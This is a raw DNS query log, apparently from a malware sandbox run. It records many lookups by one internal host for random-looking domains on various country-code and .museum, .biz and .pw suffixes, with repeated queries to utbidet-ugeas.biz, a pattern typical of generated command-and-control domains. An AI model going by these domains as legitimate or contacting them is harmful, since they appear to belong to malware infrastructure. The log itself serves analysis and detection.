Jan 5, 2025 10:48:43.147663116 CET	192.168.2.4	1.1.1.1	0xdc07	Standard query (0)	muqyumuvjgj.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:43.305387974 CET	192.168.2.4	1.1.1.1	0x1074	Standard query (0)	muqyumuvjgj.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:43.538247108 CET	192.168.2.4	1.1.1.1	0x4f6b	Standard query (0)	nfvmeu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:44.321130991 CET	192.168.2.4	1.1.1.1	0x580b	Standard query (0)	nfvmeu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:44.522839069 CET	192.168.2.4	1.1.1.1	0xc6ed	Standard query (0)	sxyqthmocobcz.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:44.785037994 CET	192.168.2.4	1.1.1.1	0x2508	Standard query (0)	sxyqthmocobcz.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:45.163399935 CET	192.168.2.4	1.1.1.1	0x5c9	Standard query (0)	ayspwmm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:45.177999020 CET	192.168.2.4	1.1.1.1	0xe387	Standard query (0)	ayspwmm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:45.304438114 CET	192.168.2.4	1.1.1.1	0xb4fb	Standard query (0)	negehwwvr.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.091006994 CET	192.168.2.4	1.1.1.1	0xd5db	Standard query (0)	negehwwvr.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.382019997 CET	192.168.2.4	1.1.1.1	0xbc69	Standard query (0)	bsymstebt.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.417669058 CET	192.168.2.4	1.1.1.1	0x2e95	Standard query (0)	bsymstebt.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.538686991 CET	192.168.2.4	1.1.1.1	0x1eaa	Standard query (0)	bpezcgcamge.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.576562881 CET	192.168.2.4	1.1.1.1	0x1e8e	Standard query (0)	bpezcgcamge.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:46.694463968 CET	192.168.2.4	1.1.1.1	0xea9b	Standard query (0)	qxbykkbwc.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:47.477905989 CET	192.168.2.4	1.1.1.1	0x90b7	Standard query (0)	qxbykkbwc.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:47.772605896 CET	192.168.2.4	1.1.1.1	0x11ee	Standard query (0)	gskxhonuuig.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:47.783900023 CET	192.168.2.4	1.1.1.1	0xe611	Standard query (0)	gskxhonuuig.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:47.898046970 CET	192.168.2.4	1.1.1.1	0xe64f	Standard query (0)	nukraurmv.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:47.924796104 CET	192.168.2.4	1.1.1.1	0x41be	Standard query (0)	nukraurmv.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:48.132055044 CET	192.168.2.4	1.1.1.1	0x6cd4	Standard query (0)	vjailzh.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:48.757622004 CET	192.168.2.4	1.1.1.1	0xb27a	Standard query (0)	iiesqoydgho.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:48.769617081 CET	192.168.2.4	1.1.1.1	0x3b4	Standard query (0)	iiesqoydgho.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:48.897757053 CET	192.168.2.4	1.1.1.1	0x3534	Standard query (0)	lhvwqsuwpirwv.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:48.909372091 CET	192.168.2.4	1.1.1.1	0x895d	Standard query (0)	lhvwqsuwpirwv.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:49.053859949 CET	192.168.2.4	1.1.1.1	0x72cd	Standard query (0)	iuqipumkqoy.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:49.332600117 CET	192.168.2.4	1.1.1.1	0xeb35	Standard query (0)	iuqipumkqoy.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:50.226156950 CET	192.168.2.4	1.1.1.1	0x5c34	Standard query (0)	ocyseln.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:50.236828089 CET	192.168.2.4	1.1.1.1	0x8e6b	Standard query (0)	ocyseln.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:50.350723028 CET	192.168.2.4	1.1.1.1	0xb9ea	Standard query (0)	yyzqses.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:51.134603024 CET	192.168.2.4	1.1.1.1	0xe096	Standard query (0)	yyzqses.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.022660971 CET	192.168.2.4	1.1.1.1	0x9d46	Standard query (0)	pyqjwzcg.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.034312010 CET	192.168.2.4	1.1.1.1	0x3e6d	Standard query (0)	pyqjwzcg.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.147723913 CET	192.168.2.4	1.1.1.1	0x5bf8	Standard query (0)	auvneyswvn.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.195280075 CET	192.168.2.4	1.1.1.1	0x4903	Standard query (0)	auvneyswvn.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.323039055 CET	192.168.2.4	1.1.1.1	0xc70	Standard query (0)	mufqbisjdi.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.386002064 CET	192.168.2.4	1.1.1.1	0xd66b	Standard query (0)	mufqbisjdi.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:52.553937912 CET	192.168.2.4	1.1.1.1	0x6f07	Standard query (0)	gieea.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.163474083 CET	192.168.2.4	1.1.1.1	0x4d74	Standard query (0)	gkgejebqwmtqg.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.202625990 CET	192.168.2.4	1.1.1.1	0x29a2	Standard query (0)	gkgejebqwmtqg.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.367588997 CET	192.168.2.4	1.1.1.1	0xdfad	Standard query (0)	ioblqwvkm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.402853966 CET	192.168.2.4	1.1.1.1	0x8119	Standard query (0)	ioblqwvkm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.554014921 CET	192.168.2.4	1.1.1.1	0x3494	Standard query (0)	cigmuci.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.566699982 CET	192.168.2.4	1.1.1.1	0xb840	Standard query (0)	cigmuci.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.727113008 CET	192.168.2.4	1.1.1.1	0xfe95	Standard query (0)	gymuuwiy.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:53.840315104 CET	192.168.2.4	1.1.1.1	0xd990	Standard query (0)	gymuuwiy.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.148343086 CET	192.168.2.4	1.1.1.1	0xc2f1	Standard query (0)	sqmezocko.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.432944059 CET	192.168.2.4	1.1.1.1	0x10b2	Standard query (0)	sqmezocko.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.632113934 CET	192.168.2.4	1.1.1.1	0xe5fd	Standard query (0)	sfessoxrcqrpo.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.651531935 CET	192.168.2.4	1.1.1.1	0xcca3	Standard query (0)	sfessoxrcqrpo.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.851110935 CET	192.168.2.4	1.1.1.1	0x4e03	Standard query (0)	rammwsc.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.870899916 CET	192.168.2.4	1.1.1.1	0xc60f	Standard query (0)	rammwsc.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:54.991547108 CET	192.168.2.4	1.1.1.1	0x8976	Standard query (0)	nghxwc.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:55.098223925 CET	192.168.2.4	1.1.1.1	0xb37	Standard query (0)	nghxwc.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:55.335438967 CET	192.168.2.4	1.1.1.1	0x1a2c	Standard query (0)	wsuqlgdemodac.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:56.334840059 CET	192.168.2.4	1.1.1.1	0x1a2c	Standard query (0)	wsuqlgdemodac.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:56.942943096 CET	192.168.2.4	1.1.1.1	0x8cd	Standard query (0)	wsuqlgdemodac.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:57.053920984 CET	192.168.2.4	1.1.1.1	0x4edc	Standard query (0)	yggrsmwoaoge.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:57.088222027 CET	192.168.2.4	1.1.1.1	0x2130	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:57.913343906 CET	192.168.2.4	1.1.1.1	0xc731	Standard query (0)	sssagqpgq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:57.956809998 CET	192.168.2.4	1.1.1.1	0x3320	Standard query (0)	sssagqpgq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:58.085241079 CET	192.168.2.4	1.1.1.1	0x5f9	Standard query (0)	dwmbb.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:58.112138987 CET	192.168.2.4	1.1.1.1	0xef0e	Standard query (0)	dwmbb.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:58.242536068 CET	192.168.2.4	1.1.1.1	0xe64e	Standard query (0)	uoqeyvc.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:58.686265945 CET	192.168.2.4	1.1.1.1	0xa42e	Standard query (0)	uoqeyvc.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:58.835660934 CET	192.168.2.4	1.1.1.1	0xcfe8	Standard query (0)	oocwcmmvqecne.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:59.444689035 CET	192.168.2.4	1.1.1.1	0x9fc7	Standard query (0)	wauvbchrfkw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:59.473457098 CET	192.168.2.4	1.1.1.1	0x9454	Standard query (0)	wauvbchrfkw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:59.585205078 CET	192.168.2.4	1.1.1.1	0xa286	Standard query (0)	emallqtafbo.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:48:59.859536886 CET	192.168.2.4	1.1.1.1	0x776d	Standard query (0)	emallqtafbo.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:00.832037926 CET	192.168.2.4	1.1.1.1	0x841a	Standard query (0)	ugccalznre.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:01.721306086 CET	192.168.2.4	1.1.1.1	0xf5e3	Standard query (0)	ugccalznre.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:01.960134983 CET	192.168.2.4	1.1.1.1	0x7e5e	Standard query (0)	gsztaq.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:01.971924067 CET	192.168.2.4	1.1.1.1	0xc0af	Standard query (0)	gsztaq.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:02.100871086 CET	192.168.2.4	1.1.1.1	0x3323	Standard query (0)	aaywjhsma.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:02.159914970 CET	192.168.2.4	1.1.1.1	0x5ea2	Standard query (0)	aaywjhsma.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:02.303956032 CET	192.168.2.4	1.1.1.1	0xf3ac	Standard query (0)	fzmoqmhyzgwby.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:02.400242090 CET	192.168.2.4	1.1.1.1	0xf0dd	Standard query (0)	fzmoqmhyzgwby.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:02.788685083 CET	192.168.2.4	1.1.1.1	0x2f7	Standard query (0)	dqgotyf.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:03.413597107 CET	192.168.2.4	1.1.1.1	0x8552	Standard query (0)	uyasdri.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:03.462452888 CET	192.168.2.4	1.1.1.1	0x49a0	Standard query (0)	uyasdri.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:03.634917974 CET	192.168.2.4	1.1.1.1	0x9e29	Standard query (0)	fxheyuelabwk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:03.646697998 CET	192.168.2.4	1.1.1.1	0x2d24	Standard query (0)	fxheyuelabwk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:03.859910965 CET	192.168.2.4	1.1.1.1	0xf0dd	Standard query (0)	veylcquelsxie.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:04.015202999 CET	192.168.2.4	1.1.1.1	0xf382	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:04.882057905 CET	192.168.2.4	1.1.1.1	0x57be	Standard query (0)	uwcoo.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:04.917047024 CET	192.168.2.4	1.1.1.1	0x44c1	Standard query (0)	uwcoo.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:05.086322069 CET	192.168.2.4	1.1.1.1	0x6cf2	Standard query (0)	qendemo.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:05.710696936 CET	192.168.2.4	1.1.1.1	0x97c0	Standard query (0)	digeyxe.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:05.776837111 CET	192.168.2.4	1.1.1.1	0x5270	Standard query (0)	digeyxe.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:05.929028034 CET	192.168.2.4	1.1.1.1	0x1783	Standard query (0)	muexcwzji.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:05.959099054 CET	192.168.2.4	1.1.1.1	0xa701	Standard query (0)	muexcwzji.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:06.107043982 CET	192.168.2.4	1.1.1.1	0xd6d	Standard query (0)	uibqkkfaiswo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:06.171793938 CET	192.168.2.4	1.1.1.1	0xb2ab	Standard query (0)	uibqkkfaiswo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:06.382267952 CET	192.168.2.4	1.1.1.1	0x35ee	Standard query (0)	logcwiabk.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:06.416982889 CET	192.168.2.4	1.1.1.1	0x7686	Standard query (0)	logcwiabk.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:06.995750904 CET	192.168.2.4	1.1.1.1	0x7ced	Standard query (0)	nwkeepyiisvw.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:07.060216904 CET	192.168.2.4	1.1.1.1	0xc35a	Standard query (0)	nwkeepyiisvw.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:07.182132006 CET	192.168.2.4	1.1.1.1	0x3f34	Standard query (0)	hiauuooiaeam.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:07.463046074 CET	192.168.2.4	1.1.1.1	0xef99	Standard query (0)	hiauuooiaeam.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:07.836117983 CET	192.168.2.4	1.1.1.1	0x320e	Standard query (0)	dfypq.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:07.925853968 CET	192.168.2.4	1.1.1.1	0x22d8	Standard query (0)	dfypq.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.038403034 CET	192.168.2.4	1.1.1.1	0xfc8	Standard query (0)	fwdvoccscqsdn.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.100107908 CET	192.168.2.4	1.1.1.1	0xfaab	Standard query (0)	fwdvoccscqsdn.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.245516062 CET	192.168.2.4	1.1.1.1	0x722c	Standard query (0)	cflwomgkiywsd.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.359714031 CET	192.168.2.4	1.1.1.1	0xa428	Standard query (0)	cflwomgkiywsd.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.494934082 CET	192.168.2.4	1.1.1.1	0x11fc	Standard query (0)	oziwqnhqwulqm.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.607289076 CET	192.168.2.4	1.1.1.1	0x194	Standard query (0)	oziwqnhqwulqm.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.804898024 CET	192.168.2.4	1.1.1.1	0xa500	Standard query (0)	njsdvidszlt.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:08.868767023 CET	192.168.2.4	1.1.1.1	0xf062	Standard query (0)	njsdvidszlt.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.022772074 CET	192.168.2.4	1.1.1.1	0xe046	Standard query (0)	ykowukqk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.039295912 CET	192.168.2.4	1.1.1.1	0x863f	Standard query (0)	ykowukqk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.232662916 CET	192.168.2.4	1.1.1.1	0xacdd	Standard query (0)	ikwzrcu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.359466076 CET	192.168.2.4	1.1.1.1	0x14aa	Standard query (0)	ikwzrcu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.728971004 CET	192.168.2.4	1.1.1.1	0x4b49	Standard query (0)	iqqsyypiw.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.763636112 CET	192.168.2.4	1.1.1.1	0xec9d	Standard query (0)	iqqsyypiw.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.884191990 CET	192.168.2.4	1.1.1.1	0x3ecc	Standard query (0)	wkslbua.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:09.923595905 CET	192.168.2.4	1.1.1.1	0x1f84	Standard query (0)	wkslbua.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:10.086570978 CET	192.168.2.4	1.1.1.1	0xd2f7	Standard query (0)	mfcyameasebv.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:10.416876078 CET	192.168.2.4	1.1.1.1	0x236f	Standard query (0)	mfcyameasebv.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:10.715641022 CET	192.168.2.4	1.1.1.1	0x2913	Standard query (0)	wuvzvwutykq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:10.754406929 CET	192.168.2.4	1.1.1.1	0x8178	Standard query (0)	wuvzvwutykq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:10.913532019 CET	192.168.2.4	1.1.1.1	0x6a95	Standard query (0)	juiuothkh.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.114160061 CET	192.168.2.4	1.1.1.1	0xc042	Standard query (0)	juiuothkh.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.258239985 CET	192.168.2.4	1.1.1.1	0x3cfb	Standard query (0)	kqoqgeuukaj.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.286851883 CET	192.168.2.4	1.1.1.1	0xd3db	Standard query (0)	kqoqgeuukaj.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.562104940 CET	192.168.2.4	1.1.1.1	0xddb3	Standard query (0)	fhlzcfqqxqh.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.613948107 CET	192.168.2.4	1.1.1.1	0xb484	Standard query (0)	fhlzcfqqxqh.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.754894018 CET	192.168.2.4	1.1.1.1	0xf1e5	Standard query (0)	wkwwwgxi.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.771481991 CET	192.168.2.4	1.1.1.1	0x4eeb	Standard query (0)	wkwwwgxi.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:11.898585081 CET	192.168.2.4	1.1.1.1	0xe488	Standard query (0)	nghsbqo.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:12.129940033 CET	192.168.2.4	1.1.1.1	0x75bc	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:12.944729090 CET	192.168.2.4	1.1.1.1	0x7e	Standard query (0)	cymwkunu.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:12.980675936 CET	192.168.2.4	1.1.1.1	0x86c5	Standard query (0)	cymwkunu.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.148767948 CET	192.168.2.4	1.1.1.1	0x9e83	Standard query (0)	szlieifwgwokcs.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.168342113 CET	192.168.2.4	1.1.1.1	0x4278	Standard query (0)	szlieifwgwokcs.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.290153980 CET	192.168.2.4	1.1.1.1	0x9bb9	Standard query (0)	wcoymojgkvoq.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.323786020 CET	192.168.2.4	1.1.1.1	0x318	Standard query (0)	wcoymojgkvoq.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.481304884 CET	192.168.2.4	1.1.1.1	0x7121	Standard query (0)	wwjlfmma.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:13.539067984 CET	192.168.2.4	1.1.1.1	0x2235	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.241530895 CET	192.168.2.4	1.1.1.1	0x82eb	Standard query (0)	soqgeid.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.259383917 CET	192.168.2.4	1.1.1.1	0xc753	Standard query (0)	soqgeid.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.382364035 CET	192.168.2.4	1.1.1.1	0x6095	Standard query (0)	wzjzekb.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.484112978 CET	192.168.2.4	1.1.1.1	0x13c4	Standard query (0)	wzjzekb.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.789036989 CET	192.168.2.4	1.1.1.1	0x49e3	Standard query (0)	uirvjqcvqzje.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.809950113 CET	192.168.2.4	1.1.1.1	0x26dc	Standard query (0)	uirvjqcvqzje.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.930330038 CET	192.168.2.4	1.1.1.1	0xa6ec	Standard query (0)	egeamybv.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:14.960169077 CET	192.168.2.4	1.1.1.1	0xbec3	Standard query (0)	egeamybv.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:15.179131031 CET	192.168.2.4	1.1.1.1	0xb6c9	Standard query (0)	fswgqwyze.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:15.346760035 CET	192.168.2.4	1.1.1.1	0x9d68	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.054058075 CET	192.168.2.4	1.1.1.1	0xe75a	Standard query (0)	sglfsgf.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.081754923 CET	192.168.2.4	1.1.1.1	0xc23	Standard query (0)	sglfsgf.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.195979118 CET	192.168.2.4	1.1.1.1	0xcc36	Standard query (0)	ixalhmj.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.264046907 CET	192.168.2.4	1.1.1.1	0x2a91	Standard query (0)	ixalhmj.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.414165020 CET	192.168.2.4	1.1.1.1	0x42e3	Standard query (0)	kbtfoyycedpce.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:16.461997986 CET	192.168.2.4	1.1.1.1	0xea0	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.273127079 CET	192.168.2.4	1.1.1.1	0x2c70	Standard query (0)	wqujptmvk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.295767069 CET	192.168.2.4	1.1.1.1	0xaaad	Standard query (0)	wqujptmvk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.431610107 CET	192.168.2.4	1.1.1.1	0xb2d5	Standard query (0)	ucxvzmgieecyq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.449412107 CET	192.168.2.4	1.1.1.1	0x2f4	Standard query (0)	ucxvzmgieecyq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.581856012 CET	192.168.2.4	1.1.1.1	0xa69b	Standard query (0)	zcywiaiy.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.640242100 CET	192.168.2.4	1.1.1.1	0x6883	Standard query (0)	zcywiaiy.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.757882118 CET	192.168.2.4	1.1.1.1	0xf437	Standard query (0)	ykifecysc.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:17.815653086 CET	192.168.2.4	1.1.1.1	0x2932	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:18.652717113 CET	192.168.2.4	1.1.1.1	0x9638	Standard query (0)	eooozwnyqai.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:18.844634056 CET	192.168.2.4	1.1.1.1	0x389	Standard query (0)	eooozwnyqai.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.055524111 CET	192.168.2.4	1.1.1.1	0x9e6	Standard query (0)	okdiw.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.172079086 CET	192.168.2.4	1.1.1.1	0xb224	Standard query (0)	okdiw.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.304337025 CET	192.168.2.4	1.1.1.1	0xe584	Standard query (0)	jtgwgbm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.377291918 CET	192.168.2.4	1.1.1.1	0x459b	Standard query (0)	jtgwgbm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.507235050 CET	192.168.2.4	1.1.1.1	0xd9cb	Standard query (0)	mmotluum.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.525372982 CET	192.168.2.4	1.1.1.1	0x492f	Standard query (0)	mmotluum.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.727426052 CET	192.168.2.4	1.1.1.1	0x48a1	Standard query (0)	tmgefpx.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.742031097 CET	192.168.2.4	1.1.1.1	0x207c	Standard query (0)	tmgefpx.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:19.897926092 CET	192.168.2.4	1.1.1.1	0x535	Standard query (0)	kbnem.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:20.083224058 CET	192.168.2.4	1.1.1.1	0xedbf	Standard query (0)	kbnem.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:20.480168104 CET	192.168.2.4	1.1.1.1	0x4902	Standard query (0)	zsgpbvk.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:20.571865082 CET	192.168.2.4	1.1.1.1	0xa6c9	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:21.427752018 CET	192.168.2.4	1.1.1.1	0x82a0	Standard query (0)	idiiamfreuxmf.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:21.483295918 CET	192.168.2.4	1.1.1.1	0x84c2	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:22.306365967 CET	192.168.2.4	1.1.1.1	0x61dd	Standard query (0)	vcgxj.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:22.362248898 CET	192.168.2.4	1.1.1.1	0x6ade	Standard query (0)	vcgxj.st	A (IP address)	IN (0x0001)	false
